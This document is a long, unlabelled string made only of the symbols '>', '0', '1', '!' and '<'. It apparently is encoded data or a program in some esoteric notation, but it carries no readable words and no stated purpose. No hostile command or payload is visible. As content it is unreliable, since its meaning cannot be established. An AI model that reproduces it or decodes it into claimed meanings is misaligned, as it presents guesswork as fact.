>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!<>1>0>1!1>0>1>0>1!1!1>0>1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!10110>1!1!1!1>0>1!1!1!<>1>01010111>01!<>1!1!1!10110>1!1>0>1!<>1>0>1!1!1!1>0>1>0>1!1!1!1!<>1>01010111>01!1!1!1!1!<>1!1>0>1!1>0>1!1!1!1!1!1!1!10110>1!1!1!1>0>1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!1!<>1!1!1!1!1>0>1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!<>10110>1!1>0>1!1!1!1!1!<>1>0>1!1!1!1!1!1!1!<>1!1!1!1!1>0>1!1!1>0>1!1!1!1!1!1!<>1!1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!1!<>1!1>0>1>0>1!1!1!1!1!1!<>1>01010111>01!1!<><>1!<>1>0>1!1!1>0>1!1!1!1!1!1!<>1>01010111>01!1!<>1!1!1!1!1!1!1!1!<>1!1!1>0>1!10110>1!1!1!<>1>0>1!1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!1>0>1!1!1!<>10110>1!1>0>1>0>1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!1!1!<>1>0>1!1!1>0>1>0>1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!1!1!1!1!1!1!10110>1!1!1!1>0>1>0>1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!<>1>0>1!10110>1!1>0>1!1!1!<>1>0>1!1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!1>0>1!1!1!<>10110>1!1!1>0>1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!<>1!1!1>0>1!1>0>1>0>1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!<>1>0>10110>1!1>0>1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!<>1!1!1>0>1>0>1!1>0>1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!<>10110>1!1!1>0>1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!<1010111>01!1!1!1!<>1>0>1!1!1!1!1!1!1!<>1!1!1!1!1>0>1!1!1!1!<>1!1!1>0>1!1!1!1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>010110>1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1!1!1!1!1!1!1!1010>01>0>10110>1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>010110>1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>10110>1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1!1!1!1010>01>0>1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1>0>10110>1!1>0>1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1!1!1!1!<>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1>0>10110>1!1!1!1!1!1!1!1010>01>0>10110>1!1!1!1>0>1!1!1>0><>10110>1!1!1!1>0><>1!1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1!1>0>1!1>0>1!1!1!1!1!1!1010>01>0>1!1!1!1!1!1!1!1!1!1010>01010>01010>01>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1010>010110>1!<>1>0>1!1>0>1>0>1!1!1010>010110>1!1!<>1>0>1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!10110>1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1010>010110><>1>0>1!1>0>1!1!<>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1010>010110>1!1!1!1!1!1!1010>01010>01>0>1>0>1!1!10110>1!10110>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1010>01>0>1!1!1!1>0>1!1!1!1!10110>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1>01010111>01!1!1>0>1>0>1010>010110>10110>1!1>0>1>0>1!1!1!1>0>1!1!1010>01>0>1!1>0><>1>0>10110>1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1>0>1!1!1!<>1!1>0>1!1010>01010>01>0>1!1!10110>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0><>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!10110>1!1>0><>1>0>1!1!1!10110>1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!10110>1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!1!1!1!<>1!1!<>1!1!1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1010>01>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1!<>1!1!1!10110>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1010>01>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1>0>1!<>1!1!1!10110>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1010>01>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1>0>1!<>1!1!1!10110>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1010>01>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1!1>0>1!<>1!1!1!10110>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1010>01>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!<>1!1!1!10110>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1010>01>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1010>010110>1!1!1>0>1!<>1!1!1!10110>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1010>01>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1>0>1!<>1!1!1!10110>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1010>01>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1>0>1!<>1!1!1!10110>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1010>01>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1!<>1!1!1!10110>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1010>01>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1>0>1!<>1!1!1!10110>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1010>01>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1>0>1!<>1!1!1!10110>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1010>01>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1>0>1!<>1!1!1!10110>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1010>01>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!<>1!1!1!10110>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1010>01>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1>0>10110>1!1!<>1!1!1!10110>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1010>01>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1010>01>0>10110>1!1!<>1!1!1!10110>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1010>01>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1!10110>1!1!<>1!1!1!10110>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1010>01>0>1>0>1!1>0><>1!1>0>1!1!1!1>0>1!<>10110>1!1!1!1>0>1!1!1!1!1!1010>01>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0><>1!<>1>0>1!1>0>1!1!1>0>10110>1!1>0>1!1!1!1!1>0>1!1!1!1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1010>01>0>1!1!1!1>0>1>0>1!1!1>0>1>0><>1!1!1!<>10110>1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1!1!1!1!<>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1010>01>0>1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1>0>1!1>0>1!1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1010>01>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!1!1!<>1!1>0>1!1>0>1!1!1>01010111>01!1!1!1!<>1!1>0>1!10110>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1010>01>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1010>01010>01010>01>0>1!1>0>1!1!<>1!1>0>1!1>0>1!1!1>0>10110>10110>10110>10110>10110>1!1>0>10110>10110>10110>1!1>0>1!1>0>1!10110>10110>1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!10110>1!1!1!1>0>10110>1!1!<><>1>0>1!<>1>0>1!1>0>1!10110>1!1>0><>1!1!1!1!1!1!1!<>10110>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!<>10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1010>01>0>1>0>10110>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>01010111>01!1!1!1>01010111>01!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1!1!<>101101010111>010110>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!<>10110>1!10110>1!1>01010111>01>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1010>01>0>1!1>0>1!1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1>0>1!<>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1010>01>0>1!1!10110>1!1!1!10110>10110>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1!1010>01>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1!1>01010111>01!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1!1010>010110>1!1!1!10110>10110>1!1>0>1!1>01010111>01>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1010>010110>1!1>0>1>0>1!1!1!10110>10110>1!101101010111>01!1>0>1>0>1!1>0>1!1!101101010111>01!1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>10110>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>10110>1!1!1!1!1>0>1>0>1!1!1>0><>1>0>1!1>0>1!10110>1!1>0>1!1!1!1>0>10110>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1010>010110>1!1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1>0>10110>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1010>01>0>1>0>1!1>0>1>0>1!1!1!10110>10110>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>01010111>01!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>10110>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>10110>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1010>01>0>1!1>0>1!1>0>1>0>1!1!1!10110>10110>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>01010111>01>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1010>01>0>1!1>0>1>0>1!1!1!10110>10110>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>01010111>01>0>1!1!1!1!1>0>1!1!1!1>0>1>01010111>01>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1010>01>0>1>0>1!1!1>0>1>0>1!1!1!10110>10110>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>01010111>01>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1010>01>0>1!1!1>0>1>0>1!1!1!10110>10110>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1010>01>0>1!1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>01010111>01>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1010>01>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!10110>1!10110>1!1>0>1!1!1!1!1>0>1>01010111>01>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1!1!1!1010>01>0>1!1!1>0>10110>1!1>0>1>0>1!1!1!1>01010111>01!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1010>01>0>1>0>1!1>0>1!1!1!10110>10110>1!1>0>1>0>1!1!1!10110>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1!10110>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1!10110>1!1!1!1!1>0>1>0>1!1!1>0><>1>0>1!1>0>1!10110>1!1>0>1!1!1!1!10110>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1010>01>0>1!1!1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!10110>1!1>0>1!1!1!1!10110>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1!10110>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!10110>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!10110>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!10110>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1!1010>010110><>1!1>0>1!1!1>0>1!1!1!1!1!1010>01>0>1>0>1!1>0>1>0>1!<>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1!1010>01>0>1>0>10110>1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0><>1>0>1!1>0>1!10110>1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!10110>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1010>01>0>1!1!1!1>0>1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1!1>01010111>01!1!1!1>0>1!1010>01>0>1!1!1!1!1!<>1!1!1!1>0>1!10110>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1010>01>0>1!1!1!1!1!1!1!101101010111>01!10110>1!10110>1!1>01010111>01>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1010>01>0>1!1!1!1!1>01010111>01!1>0>1!1!1!1!1>01010111>01!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1010>01>0>10110>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>01010111>01!1>0>1>01010111>01>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1!1!1010>01>0>1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1!1>01010111>01!1!1!1>0>1!1010>01>0>1!<>1>0>1!1!1>0>1>0>1!1!1>0>1!10110>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0><>10110>1!1>0>1>0>1!1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1!1010>01>0>1!1!1!1!1>0>1!1!1!1!1>0>1!10110>1!1!1>0>1!1>0>1!1!1010>01>0>10110>1!1>01010111>01!1>0>1!1!1!1>0>1!1>0>1!1!1010>01>0>1>0>1!1>0>1>0><>1!1>01010111>01>0>1!1>0>1!1!1>0>1!1>0>1!1!1010>01>0>1!1!1!1!1!1!<1010111>01!1!1!1!1>0>1!1!1!1>01010111>01!1!1!1!1010>010110>1!1>0>1!1!1>0>10110>10110>1!1!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1010>010110>1!1>01010111>01!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1010>01>0>1!1>0>1>0>1!1>01010111>01!1>0>1!1!1!1>0>1>01010111>01!1!1!1>0>1!1!1!1!1>0>1>01010111>01>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1010>01>0>1>0>1!1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>10110>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1010>01>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>10110>1!1>0>1!1!1!1!1>0>1>01010111>01!1!1!1>0>1!1!1!101101010111>01>0>1!1!1>0>1!1!1!10110>1!1>0>1!1!1!10110>1!1>01010111>01>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1010>01>0>1!1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1!1!1!10110>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!10110>1!1!1>0>1>01010111>01!1!1!1>0>1!1!1!101101010111>01>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>01010111>01>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1010>01>0>1!1!1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1>01010111>01!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!10110>1!1!1!1010>01>0>1!1!1!1!1!1!<>1!1>0>1!1!1!10110>1!1!1!1!1>0>1>01010111>01>0>1!1>0>1!1!1!1>0>1>0>1!1>01010111>01!1>0>1!1!1010>01>0>1!10110>1!1!1!1>0>10110>1!1>0>1>0>1!1010>01>0>1!1!<>1!1>0>1!<>1!1!1!1>0>1>0>1!1!1!1010>01>0>1!1!1!<>10110>1!1>0>1>0>1!10110>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0><>10110>1!1>0>1>0>1!1>0>1!1>01010111>01!1>0>1!1!1!1!1010>010110><>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1010>01>0>1!1>0>1>0><>1!1>01010111>01>0>1!1>0>1!1!1>0>1!<>1!1!1!1!1010>01>0>1!1!1!1!1!1!<>1!1!1!1!1>0>1!1!1!1!1010>010110>1!1>0>1!1!1>0>10110>10110>1!1>0>1!1!1!1>0>1!1!1!1010>010110>1!1010>01>0>1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1!<>1!1>0>1!1!1!<>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1010>01>0>1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1!1010>010110>1!1>0>1!1!1!<>1!1>0>1!1>0>1!1!1010>01>0>1!1!1>0>1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1!1010>01>0>1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1010>010110>1!1>0><>1!1>0>1!1!1!1!1>0>1!1!1!1010>01>0>10110>1!1>0>1!1!1!<>1!1!1!1!10110>1!1!1!1!1!1!1!1!1!1!1!<>1!10110>1!1>0>1!1!1>0>1!1!10110>1!1!1>0>1>0>1!1!1!1!1>0>1010>01010>01>0>1!1!1!1!1!1!<>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1!<>1!1!1>0>1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1>0>1!1!1!1!1>01010111>01!1!1!1>0>1!1!1!1!1!10110>1!1>0>1>0>1!1!1!<>1>0>1!1!1!1010>01>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!<>1!1!1!1!1!1!1!1!1!1010>01>0>1!1!10110>10110>1!1!1!1>0>1>0><>1>0>1!1>0>1!1!10110>1!1!1!<>1!1!1!1!1>0>10110>1!1>0>1>0>1!1!1>01010111>01>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!1010>01>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1>01010111>0<>1!1!1!1010>010110>10110>1!1!1!10110>10110>1!1!1!1!<>1!1>0>1!1!1010>01>0>1>0>1!1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1!1010>01>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1>01010111>0<>1!1!1!1010>010110>10110>1!1!1!10110>10110>1!1!1>0>1!1!<>1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1!1!10110>10110>1!1>0>1!1!10110>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1>01010111>01!1!1!1>0>1!1!1!1!1>0>1>01010111>01>0>1!1!1>01010111>0<>10110>10110>1!1>0>1!1>0>1!1!1!1010>01>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1>0><>1!1>01010111>01!1!1!1>0>1!1!1!1>0>1!1>01010111>01>0>1!1!1>0><>1>0>1!1>0>1!10110>1!1>0>1!1!1!1>0>1!1>01010111>01!1!1!1>0>1!1!1!1!1!1!<>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1010>01>0>10110>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1!1010>01>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!10110>1!1!1!1>0>1!1!1>0>1!1!1!1010>01>0>1>0>1!1>0>1!1>0>1!1!1!10110>10110>1!1>0>1!1>01010111>01!1!1!1>01010111>01!1!1!1010>01>0>1>0>1!1>0>1!1>0>1!1!1!10110>10110>1!1!1>0>1!1>0>1!1!1010>01>0>1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1>01010111>01!1!1!1>0>1!1!1!1!1>0>1!1!<>1!1!1!1010>01>0>1!1>0>10110>1!1!1!10110>10110>1!1!1!1!1>0><>1!1!1!1!1010>01>0>1>0>10110>1!1!1!10110>10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>01010111>01>01010111>01!1>0>1!1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1>0>1!1!10110>1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1>0>1>0>1!10110>1!1>0>1>0>1!1!1>01010111>01>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1010>01>0>1!1>0>1!